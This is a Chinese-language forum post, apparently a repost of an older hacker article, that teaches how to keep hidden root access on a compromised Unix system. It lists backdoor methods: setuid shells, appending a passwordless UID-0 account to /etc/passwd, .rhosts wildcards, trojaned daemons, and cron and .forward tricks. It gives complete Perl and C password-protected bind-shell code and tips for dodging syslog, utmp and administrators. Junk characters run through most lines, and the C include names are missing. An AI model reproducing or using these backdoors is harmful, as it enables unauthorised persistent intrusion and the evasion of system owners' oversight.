找回密码
 注册

QQ登录

只需一步,快速开始

如何创建后门

[复制链接]
发表于 2011-1-13 17:04:25 | 显示全部楼层 |阅读模式
参考文献: 0 _1 v& ]" j! o. Q: s! {/ j6 s
Article: backdoor from The Infinity Concept Issue II
2 I$ C( |9 [! E9 ySrc: b4b0.c by b4b0 . n4 v- @/ M- [8 d  m
Src: daemonsh.pl by van Hauser / [THC] in 1997' % g1 S9 v, c  v6 t2 H: x* [4 |6 A

, p1 ^  O% E% m( b2 w--
# q" n  e1 I; x  e, Z# P6 y3 L( Y7 u+ m$ A' E% e
千辛万苦(or 轻而易举)的取得root后,当然希望长久的保持. 以被以后用来。。。d0ing what u want t0 d0 :) 传统的方法就是建立一个后门(backd00r).即使入侵被发现,好 的(先进)后门仍然能够使你再次轻松的破门而入 -- 请记住: " we come back and we are the h.a.c.k.e.r "
* n0 v* m" o! U: d* ?. V. M--
2 E- n" s& w0 i# F" p创建后门的方法如下:
6 B8 Z8 |0 ~, b4 X1 F-
, y% I8 Y' ^. {* k1. setuid & E" B9 }/ p+ b6 H+ l% L
#cp /bin/sh /tmp/.backdoor
& C$ i# O+ E  g2 H, g) c# t  r#chmod u+s /tmp/.backdoor . P8 E& a2 E' ]5 @! }) c6 D9 Q/ V. D
加上 suid 位到shell 上,最为简单方便,但也最为容易被ADM 发现 find / -perm 4000 -print;同时在大多数的SUNOS 上 你会发现不能setuid。-- 适用于新手;
. y" p7 ]  F7 z0 M  ^  K-   D, F! m& i" v' q9 g/ s( D8 P$ t- j
2. echo "zer9::0:0::/:/bin/csh" >> /etc/passwd 即给系统增加一个 id 为 0(root)的帐号,无口令; 也很容易被发现。 -- 适用于新手;
6 D  d" I: e% M; r& m-
5 g; d6 g& ]8 g% X+ L1 H3.echo "+ zer9">>/.rhosts : C: n+ H" {" a4 Y: o2 R
即本地的名为 zer9 的用户可以直接 rlogin target 无须口令此时的 zer9 就相当于口令,不知道的人是不能进去的.
1 u4 v) y1 t; S前提是目标的port 512or513or514 opening. ; }+ ]" D- f4 T! P9 ~7 C0 h
注: 如 echo "+ +">>/.rhosts 则任何用户都可rlogin至目标 导致目标门户打开,最好不要;
) Y' S# j' F. X还可 echo "+ +">>/etc/hosts.equiv 但这样不能取得root权限;-- 适用于比新手高一点点,比中级水平低一点点的guys; . b1 D' q4 p# A8 F% f. ]8 n* P
-
! V. @0 n  i9 k# F4.modify sendmail.cf 增加一个"wiz" 命令; + P7 Q" R  E0 m, {
usage:   l0 `- v& H* @2 @0 K
telnet target 25 [enter]
1 W" r( v, C! f! \( t# M% Uwiz[enter] 4 C( t. @2 E+ [; W
这是我从SAFEsuite中学到的(但没试过);比较危险。因为几乎所有的扫描器都会刺探本漏洞。不过你可把命令本身该成其他不易猜到的名字。比较复杂,危险,但ADM不易发现,隐蔽性较强;你只在你的机器上试一试就okay了;-- 顾名思意,大师级漏洞;
0 N% N  |' G5 Y# H-
$ V8 L/ ?  s$ b' X5. crack suck as inetd,login,...
0 P6 q( `$ t( V# l即安装它们的特络绎版本。你需要找到各版本unix的rootkit;然后分别编译即可;-- 如果目标机上没有安装 tripwire之类的东东,那几乎不可能被发现。linux&sunos&freebsd的可能好找,但其他的了?即使你找到了,你有对应平台上的编译器吗?我有一台运行 slackware,one running irix,one runningsunos,one running hpux,one running digits unix,... . h/ h7 h% G/ D
hahhahha,我又做梦了:) ' u0 j- ^9 s: M2 ~, x7 o9 Q" k
-- 我个人认为是最好的方法,但实现起来有一定风险,你必须考虑到如果你的木马运行出错怎么办--因为我们所做的一切都必须以不破坏目标机上的任何数据为原则;
. ?/ h( ]6 s- _  W" [& D& X& e-
/ d0 s( [% Z  _  I# \9 `6.ping rem0te backd00r
+ {. {# L; o! _& k2 l! f2 U即使是防火墙也很少阻止 ICMP 的通过,因此本后门可绕过防火墙。具体的程序你可在 [THC] 的主页发现;我想到了另外一种直接用ping命令实现的可通过防火墙的方法 :一方在防火墙内,一方在防火墙外;除 ICMP 外;通向防火墙内的信息均被过滤掉 :(用 60k data 代表长,10k data 代表短;使用摩尔思编码;(或其他自定义编码)双方通过 ICMPinfo 接受信息(ping 's data length);“嘀,嘀,嘀嘀,嘀,嘀嘀嘀...""长江长江,我是黄河--- 向我开炮!向我开炮”(^o^);以后有时间我会通过程序来实现验证可行性的。(技术上应该没有什么难度)
2 v/ O/ B5 E' M: J/ v6 ]$ {/ k- , K/ a6 }) O( L
7.rem0te shell
- J! q: ^4 J0 }: W' Z5 m. ?8 r我最喜欢的方式。而且由于绕开了login,故用 who 无法看到--也就是说,避开了utmp&utmpx&wtmp&wtmpx;但没有完全避开 syslogd.ADM仍可以在/var/log/messages中发现 ; \; I; Z( d( I! ]1 q& |3 D; F4 T
你。不过,有一种方法可以彻底完全的旁路 syslogd!且听下面一一道来. # K2 K0 @+ g% K8 b3 c( Y( a6 v
bindshell的实现有两种:
, v9 W! N& B; {9 R" ]a. & c- l  \3 }- p  I, x( X
替换掉 inetd.conf 中的不重要服务,如 rlogind :)在inetd 接受 connect 请求后,直接在本端口利用 system("/bin/csh -i");直接spam 出一个shell,
" h: Y/ {, M5 ^- R  b/ R: Ab. 接受 connect 后,在高端spam出一个shell;
  ^. k* r  q* y6 Q2 g(更安全 :)
  p' d) G% a( T0 A下面我给出一个perl 实现(不需socket libary支持)(pass on sunos5.5.1&slackware 2.0.33&irix6.4&hpux10.2)和一个 gnuc 的实现(test on slackware 2.0.33&irix6.4) , G$ [7 n! E( ]) ]6 V
---
$ M9 ^. U8 u4 N. E6 aperl 版安装方法:
  q* H8 F) B. X) t8 k, N( a# \0 }0 Q' h###无须编译!!只要目标机上有perl支持就okay! 7 i" k3 k8 K; m
如何判断有无perl: $/>perl [enter]
  p. l$ U% a7 I# N2 x+ d1 w$ n1 x# ?# t0 W8 m3 o+ w; Z
[ctrl-c]
: k" P# b& O- M' V- C$/> 8 f8 t+ z8 Z& \* R1 D, @
- ( b" m0 H$ u" Y$ H, v3 n" B
如果你对 /etc/inetd.conf 中的内容不是很熟的话,下面
2 P8 C% u' j4 O$ k* I; |1 N的方法有很大的危险性, exit(-1) please;
! l% R# D# b: [7 s7 I& B-
2 o+ C/ @- g- v) {. f首先将源程序cut,存为你想要替换的daemon,如in.rexecd or or in.rlogind ,in.pop2d....最好是已经被ADM关掉了,而且不太引人注目的daemon,注意,一定要是 TCP types.然后 ( v/ e7 \  i, u+ \4 `$ _% `+ S6 Q
mv /usr/sbin/in.rexecd /usr/sbin/in.rexecd.bak :))
8 y' _! P7 i( O- h; h; T( c4 j6 mcp in.rexecd /usr/sbin/in.rexecd ' L' u: @# i/ K  c% e. a2 N
然后 ps -aux|grep inetd;kill -HUP id(by inetd); ; L, U3 z2 q+ h: W6 U' h; Z
okay! 连 /etc/inetd.conf 都不要改。重申一点:不论在任何情况下,我们都要尽最大的可能保护数据!
3 E. ~$ K" p) {2 @1 ^- E- & ]" |# M5 M; E# {  I/ [" \, l/ {. g1 z; j
Usage: nc target (such as 512)   X" W; Z# y8 O; Z1 v
[enter]
* \% ~2 @1 ^# I) tur passwd [enter]
; B( ?6 f$ m5 S$ V. A! ^9 }2 \% z(then u login in...:)
6 S# z, V, y$ A6 Z
; l4 ~' g5 |* J$ e1 f----Cut Here------------------------------------------ ! y( `- \% `1 A  C. \" I

% f- L  G# _) _5 Z4 I#!/usr/bin/perl 3 A7 Y- A" d( d' {0 b/ B; x
# 2 E5 k. e$ _8 ]. k
# BEST ! q2 `# q7 j/ R
# SIMPLE
& P0 H* G- {' n3 A7 l/ @% g# rem0te bind shell & @, q& o. H' x8 ~+ t
#[perl version only tcp]
: L+ K& b7 O  b( L6 W# by 4 s% Y: G! y' b7 _. N3 W4 g
# zer9[FTT] / ^$ Y4 w* a" w2 F6 ^3 Y
# zer9@21cn.com
. b0 \7 v3 A4 V#passed on allmost unix
4 [6 d* E  A0 E2 k#greet to:van Hauser/[THC]
1 A% ~5 j9 j4 z3 D# for his daemonshell.pl
0 c5 s5 o3 }  x# : O# x* Q$ [7 N9 B  j
$SHELL="/bin/csh -i";
1 Q4 S  j$ {0 }* _- N: k: m1 N#d3f4ult p4sswd 1s "wh04r3u" (no quote);
& b4 ^. [/ N6 X) C( Q$PASSWORD="BifqmATb6D5so";
  d5 ^0 ?4 a5 b
6 l7 h6 h+ i  Iif ($PASSWORD) {
% |4 T: S" w; n0 Ychop($pass=); # i& L4 H# c' _. J. O" z3 I2 B  c4 b
if (crypt($pass, $PASSWORD) ne $PASSWORD) {
8 s+ O# u  e! M5 L* Q* Eexit 0;
" v: \% A( H7 \; f) Y}
) E  k) x* H" z- B7 texec $SHELL ; ! S' h9 y& b2 [/ W0 z
exit 0; ; ], p/ x' J: o* N; Q: ?7 g
} * h2 x# \9 u6 U! h" Z, S, i

) N( V2 O% k' a, F0 d, y# T+ q" V----Cut Here-------------------------------------------- 9 J, g8 o! `: o5 n* E8 M2 y/ E/ B

2 }2 Z7 |2 C$ A
( z2 x/ X6 A- _. b4 j$ s. {) q7 J1 ^
- m: Q/ L& X# O  J) `' F
下面是一个for gnuc 的bindshell,first cut it,save as 5 p' m2 n; p7 O
backdoor.c ,then cc backdoor.c -o backdoor & H% S$ p, i" V/ X: O! y+ x
other action just l1ke before; ) i# v3 g# v; H: V1 z6 _: Y0 U" _
Usage: (exp:binding to in.rlogind (513))
% _& T' }/ E! mnc target 513 //spam a shell on the high port; & k+ F4 P6 I* C* Q% h
nc target 54321
1 ]; y# \4 Y% z6 ~! Sur passwd ; c2 i# `# i- n( S1 u
(then u coming in...)
9 \( u. ^- i7 D: c! I) @# s! q2 X4 b
" l6 V2 `+ z  z9 ]9 E
----Cut Here------------------------------------- % e* d# {7 I1 j( B# T2 {! T
1 g, u* z! k' v7 O$ j, y: v* J
/* + p8 S" r( E3 @0 b* M/ K. O( V
* [ b i n d - s h e l l ]
/ l( z2 f+ I6 w* by
' X# d+ B2 i' O5 E+ e. C+ v' \7 H* zer9[FTT]
3 N8 s" d7 E+ C$ [* zer9@21cn.com 6 i- t; ^' q8 k/ j. V- n8 Q
*test on slackware 2.0.33&irix6.4(cc)
* A6 u; B! a# M+ v*cc backdoor.c -o backdoor - i8 C7 d2 ~# X5 m; [! R5 |
*u c4n p01nt t0 wh1ch p0rt th3 sh3ll t0 sp4m
4 \: i. A. H9 Y' J8 v*c0mm4nd l1n3: backdoor [port]
2 t( O, I8 Y' J. L* q*d3fault p0rt 1s: 54321 2 t; ^6 w9 m5 f5 M( Q3 e8 T
*greets to b4b0 for his b4b0.c & K8 @) W0 \8 t" E3 r5 j$ x' q+ `5 w
*m4yb3 1 c0uld s4y: 1 j3 F$ w" a5 P/ p; M5 I" G( i
*"0k,b4b0.l1st3n c4r3fully;"
, v6 j5 `$ Y7 z) ~*s0rry,just a joke. . M7 x8 e5 \( a" P
* 8 y# z5 \& |8 s/ W! k# _, b# V
*/
" \/ J# Z5 W0 h& b  F! H$ q7 a' Y4 j- W
#include
. s3 d  X2 l/ p2 I! G% k4 F" ?#include + W4 S. H* O$ l$ S
#include
' r8 v. T8 \( h! g6 X' y7 b5 b#include
5 F/ P1 P: ?1 J  K+ H#include ( ?* j: U+ }' x% ]9 T# W
#include * {) e8 }. m7 D, _* H. X/ H
#include
! ^" ^1 n6 a4 Q. p. N. ?, r  g7 ]' s4 u' N. d8 N- k0 Z
( ?% G) l2 |* S7 n4 o
#define PassWord "k1n90fth3w0rld" 2 ?9 S/ n0 o/ F* V8 b2 S- @+ b1 x
/* u c4n us3 crypt l1b4ry t0 sh4d0w 1t */
3 C7 O) j% @7 W* v. M% J# h
3 J* o9 M/ w+ O; y$ l; j2 Y#define DefaultPort 54321
- B; c' O$ ?# |/* d3f4ult b1nd1ng p0rt */ ! D7 b" l, f* E. t

6 d6 c1 i! |  I( e1 cint main(int argc,char **argv)
: g( n) I1 Z1 ^6 l/ g! p{ ! T: \$ F$ l5 ~7 s+ F; `/ {
int s,in_s;
* f# ]3 z4 X6 ^struct sockaddr_in server,client;
# R6 ^; z. _7 Hint client_len,bindport; + F1 R' B# K; A. X/ J
char recvbuf[1000]; ; ?% G* K+ }6 w1 F0 M& L
/ t. S) g' X, k# z' ^" l/ U$ N
if(argc!=2) bindport=DefaultPort;
1 F) T5 Z+ K6 {: I; v0 `7 I* L, Helse
1 s: D( m! X; g. i9 ]bindport=atoi(argv[1]);
* \$ k; _5 ]8 fif((s=socket(AF_INET,SOCK_STREAM,0))<0)
7 Z7 L0 m& y3 w) H+ ?& x9 Q. h{ $ P+ d; l5 y9 K; r+ B3 Q& e9 f; Z5 G2 q
perror("socket"); & q# m) W6 w1 e7 B( g0 c/ }
return -1; + N# Z. J" `& l* J
} $ w6 i& |3 h# m+ Q$ H
bzero((char *)&server,sizeof(server)); + M# \( ~/ w  ?8 V$ M8 U
bzero((char *)&client,sizeof(client)); 0 d" I  {% ^- G- m# H5 l8 |5 T
bzero(recvbuf,sizeof(recvbuf)); 7 ~2 z. E8 b# C' b" V. a" j6 ^. h
server.sin_family=AF_INET;
& U2 Y- o) p6 m6 C! _server.sin_port=htons(bindport);
( k# y8 n5 N- ], Tserver.sin_addr.s_addr=INADDR_ANY; 6 a! T0 \4 Z+ @6 C6 M+ M/ {
if(bind(s,(struct sockaddr *)&server,sizeof(server))<0) 3 l3 {! `3 \# ^! B. W" d
{ 0 V) ^/ B6 _8 Z3 g; Q
perror("bind"); ' u7 _( q! Z; v5 L7 l8 p
return -1; ! v/ y2 v' A& i6 f4 u/ {; Y! p" f% v
}
) C4 F. V1 X1 g  a4 E# Uif(listen(s,3)!=0) % w: b4 s- u! J/ G: U% b
{ / {) D" \4 ^1 `( v
perror("listen"); 9 h' x/ r; K7 @# t/ {0 D* i* M
return -1; $ @( H4 I" f( l$ E& B7 P2 m. |( ~
}
0 j! p" ?' S' b, B; Tclient_len=sizeof(client);
' v# l( ?" t  R/ @2 E- o& }if((in_s=accept(s,(struct sockaddr *)&client,&client_len))<0)
8 @. w6 w$ @4 h& P) U3 Z" ^) @2 S{
$ ?7 D- C5 |. O. T3 hperror("accept"); & g+ R; u1 Y. ?6 [9 h# I8 V
return -1; 2 @2 F) S0 i* [1 Z5 X& n4 o4 ~2 p
}
; q: D1 x7 R. {* H& G9 wrecv(in_s,recvbuf,sizeof(recvbuf),0); " T% C* s  q2 |# E/ ?# k& T2 ~
sleep(1);
* \* L: ]- K- Uif((strlen(recvbuf)-1)==strlen(PassWord)) - n. p/ E  I2 y
if(!strncmp(recvbuf,PassWord,strlen(PassWord)))
  y3 U* J6 p9 ]{
$ f% m: ~4 E& M0 Q9 nsend(in_s,"0k4y! c0m1ng 1n...\n",25,0);
3 p" C8 z# ^8 L) X8 K0 C' Cclose(0);close(1);close(2);
' ~* e/ U- V4 A+ H# |) q  ^dup2(in_s,0);dup2(in_s,1);dup2(in_s,2);
: b8 ]9 b( j! Y4 w( r' v5 O/ Cexecl("/bin/csh","/bin/csh",(char *)0); 2 `3 N% n: \9 F3 G
} * Q6 D, t5 v; D
close(s); " I+ y. U% O+ c8 s9 E% n( P  B. i: b
close(in_s); & m8 p6 K  H7 I
return 0;
, z% \; r* ?6 X6 ]/ ]} 4 ]6 r9 K) ], t" k, A6 V! t1 }
; U. b  s% D* I6 X, q. k! t
----Cut Here------------------------------------------------- . ~' Q5 H2 t1 u+ }5 ^, Y
  k& O" f& c* b
用上面的方法都不能完全的避开syslogd,因为他们都是由inetd 启动的,inetd启动它们的同时已经进行log 了;旁路掉inetd就能完全避开syslog!方法很简单,只要直接在命令行直接启动例程2(c)就可以了,(1perl不行);不过这样很麻烦;一旦ADM关掉计算机就玩完了;比较好的方法是在 /etc/rc.d/rc.local中加入: & h; C- n3 N4 {" {7 m% `- i
backdoor &
6 j+ {" W' i: L, x但即使这样作了,每次用过后还要再起动一次;更好的方法是写一个具有完全功能(后门功能^o^)的daemon,彻底的解决这个问题;但这样做与hack inetd 那样更有效率(安全)了? ; t/ K$ V& l2 A! `
-- - C2 E8 f; q7 F( c* f# T
8.第八种武器就是 crontab 8 Q6 T/ D/ T1 ?& G
我只知道原理,没实践过.每到一定时间就往 /etc/passwd 中加入一条uid为0(root) : C4 ^% L8 u7 Q$ Q% e% T
的用户;时间一道就delete ,或创建suid's shell...在序言中提到的文章中有详细介绍;
9 \9 E, x* T+ h5 }" S) E6 e-- 7 w7 b8 [- }, G7 V) r7 K
9.有没有想过只要向系统的一个用户发一个email,OS 就会spam出一个shell?利用用户的home目录下的 .forward 可作到这一点。 0 N1 Q; j& ?5 V& m! k4 L3 o! K; O8 i3 @/ a
--   Z) k5 \9 p( t2 l  |
10。修改内核--超级高手的做法;2.2.0的解压文件达到了50几MB,看到就头痛。接着就 jmp ffff0 :) (不是看到内容,而是看到大小);[THC]最近出了篇文章关于这个的。你对自己有信心的话可以看看;
) k3 N0 Y  @4 K-- ; L$ x4 ~! o5 j. V' G+ I. \! j
11.还有就是利用 overflow 程序,虽然我们一般是利用它取得root;但只要 ADM && u 没有 patch ,始终我们可以利用它的,与suid不同的是它不怕被 find / -perm 4000 发现;一般只有 tripwire可发现。
/ p5 \7 H; O0 q+ j4 r8 O1 G4 G* l- r4 P. s& I  H6 m8 F- ]
您需要登录后才可以回帖 登录 | 注册

本版积分规则

QQ|本地广告联系: QQ:905790666 TEL:13176190456|Archiver|手机版|小黑屋|汶上信息港 ( 鲁ICP备19052200号-1 )

GMT+8, 2026-7-30 01:34

Powered by Discuz! X5.0

© 2001-2026 Discuz! Team.

快速回复 返回顶部 返回列表